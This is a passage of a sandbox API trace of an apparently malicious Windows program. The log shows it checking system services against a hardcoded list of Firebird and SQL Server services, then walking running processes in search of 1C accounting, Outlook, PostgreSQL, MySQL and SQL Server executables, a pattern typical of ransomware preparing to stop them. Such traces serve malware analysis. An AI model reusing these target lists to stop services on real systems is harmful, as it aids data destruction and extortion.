(lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0185.727] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0185.727] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0185.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0185.727] lstrlenW (lpString="AudioSrv") returned 8 [0185.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0185.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0185.728] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0185.728] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0185.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0185.728] lstrlenW (lpString="BFE") returned 3 [0185.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0185.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0185.728] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0185.728] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0185.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0185.728] lstrlenW (lpString="CryptSvc") returned 8 [0185.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0185.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0185.728] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0185.728] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0185.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0185.728] lstrlenW (lpString="CscService") returned 10 [0185.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0185.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0185.728] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0185.728] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0185.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0185.728] lstrlenW (lpString="DcomLaunch") returned 10 [0185.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0185.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0185.728] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0185.728] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0185.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0185.728] lstrlenW (lpString="Dhcp") returned 4 [0185.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0185.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0185.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0185.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0185.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0185.729] lstrlenW (lpString="Dnscache") returned 8 [0185.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0185.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0185.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0185.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0185.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0185.729] lstrlenW (lpString="DPS") returned 3 [0185.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0185.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0185.729] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0185.729] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0185.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0185.729] lstrlenW (lpString="eventlog") returned 8 [0185.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0185.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0185.729] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0185.729] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0185.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0185.729] lstrlenW (lpString="EventSystem") returned 11 [0185.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0185.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0185.729] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0185.729] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0185.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0185.729] lstrlenW (lpString="gpsvc") returned 5 [0185.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0185.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0185.729] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0185.730] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0185.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0185.730] lstrlenW (lpString="iphlpsvc") returned 8 [0185.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.730] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0185.730] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0185.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0185.730] lstrlenW (lpString="LanmanServer") returned 12 [0185.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0185.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0185.730] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0185.730] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0185.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0185.730] lstrlenW (lpString="LanmanWorkstation") returned 17 [0185.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0185.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0185.730] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0185.730] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0185.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0185.730] lstrlenW (lpString="lmhosts") returned 7 [0185.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0185.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0185.730] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0185.730] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0185.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0185.730] lstrlenW (lpString="MMCSS") returned 5 [0185.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0185.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0185.731] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0185.731] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0185.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0185.731] lstrlenW (lpString="MpsSvc") returned 6 [0185.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0185.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0185.731] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0185.731] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0185.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0185.731] lstrlenW (lpString="Netman") returned 6 [0185.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0185.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0185.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0185.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0185.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0185.731] lstrlenW (lpString="netprofm") returned 8 [0185.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0185.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0185.731] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0185.731] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0185.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0185.731] lstrlenW (lpString="NlaSvc") returned 6 [0185.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0185.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0185.731] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0185.731] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0185.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0185.731] lstrlenW (lpString="nsi") returned 3 [0185.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0185.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0185.731] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0185.731] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0185.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0185.732] lstrlenW (lpString="PcaSvc") returned 6 [0185.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0185.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0185.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0185.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0185.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0185.732] lstrlenW (lpString="PlugPlay") returned 8 [0185.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0185.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0185.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0185.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0185.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0185.732] lstrlenW (lpString="Power") returned 5 [0185.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0185.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0185.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0185.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0185.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0185.732] lstrlenW (lpString="ProfSvc") returned 7 [0185.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0185.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0185.732] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0185.732] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0185.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0185.732] lstrlenW (lpString="RpcEptMapper") returned 12 [0185.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.732] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0185.732] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0185.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0185.732] lstrlenW (lpString="RpcSs") returned 5 [0185.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0185.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0185.733] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0185.733] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0185.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0185.733] lstrlenW (lpString="SamSs") returned 5 [0185.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0185.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0185.733] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0185.733] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0185.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0185.733] lstrlenW (lpString="Schedule") returned 8 [0185.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0185.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0185.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0185.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0185.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0185.733] lstrlenW (lpString="SENS") returned 4 [0185.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0185.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0185.733] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0185.733] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0185.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0185.733] lstrlenW (lpString="ShellHWDetection") returned 16 [0185.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.733] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0185.733] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0185.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0185.733] lstrlenW (lpString="Spooler") returned 7 [0185.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0185.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0185.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0185.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0185.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0185.733] lstrlenW (lpString="SysMain") returned 7 [0185.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0185.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0185.734] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0185.734] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0185.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0185.734] lstrlenW (lpString="Themes") returned 6 [0185.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0185.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0185.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0185.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0185.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0185.734] lstrlenW (lpString="TrkWks") returned 6 [0185.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0185.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0185.734] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0185.734] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0185.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0185.734] lstrlenW (lpString="UxSms") returned 5 [0185.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0185.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0185.734] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0185.734] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0185.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0185.734] lstrlenW (lpString="WdiServiceHost") returned 14 [0185.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0185.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0185.734] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0185.734] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0185.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0185.734] lstrlenW (lpString="WdiSystemHost") returned 13 [0185.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0185.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0185.734] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0185.734] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0185.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0185.735] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0185.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0185.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0185.735] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0185.735] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0185.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0185.735] lstrlenW (lpString="Winmgmt") returned 7 [0185.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0185.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0185.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0185.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0185.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0185.735] lstrlenW (lpString="WPDBusEnum") returned 10 [0185.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0185.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0185.735] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0185.735] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0185.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0185.735] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0185.735] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0185.737] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.737] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0185.737] lstrlenW (lpString="System") returned 6 [0185.737] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0185.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0185.737] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0185.737] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0185.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0185.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0185.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0185.737] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0185.738] lstrlenW (lpString="smss.exe") returned 8 [0185.738] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0185.738] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.738] lstrlenW (lpString="csrss.exe") returned 9 [0185.738] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0185.738] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0185.738] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0185.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0185.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0185.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0185.739] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0185.739] lstrlenW (lpString="wininit.exe") returned 11 [0185.739] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0185.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0185.739] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0185.739] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0185.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0185.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0185.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0185.739] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.739] lstrlenW (lpString="csrss.exe") returned 9 [0185.739] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0185.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0185.739] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0185.739] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0185.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0185.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0185.740] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0185.740] lstrlenW (lpString="winlogon.exe") returned 12 [0185.740] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0185.740] lstrlenW (lpString="services.exe") returned 12 [0185.740] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0185.741] lstrlenW (lpString="lsass.exe") returned 9 [0185.741] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0185.741] lstrlenW (lpString="lsm.exe") returned 7 [0185.741] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.741] lstrlenW (lpString="svchost.exe") returned 11 [0185.741] Process32NextW (in: 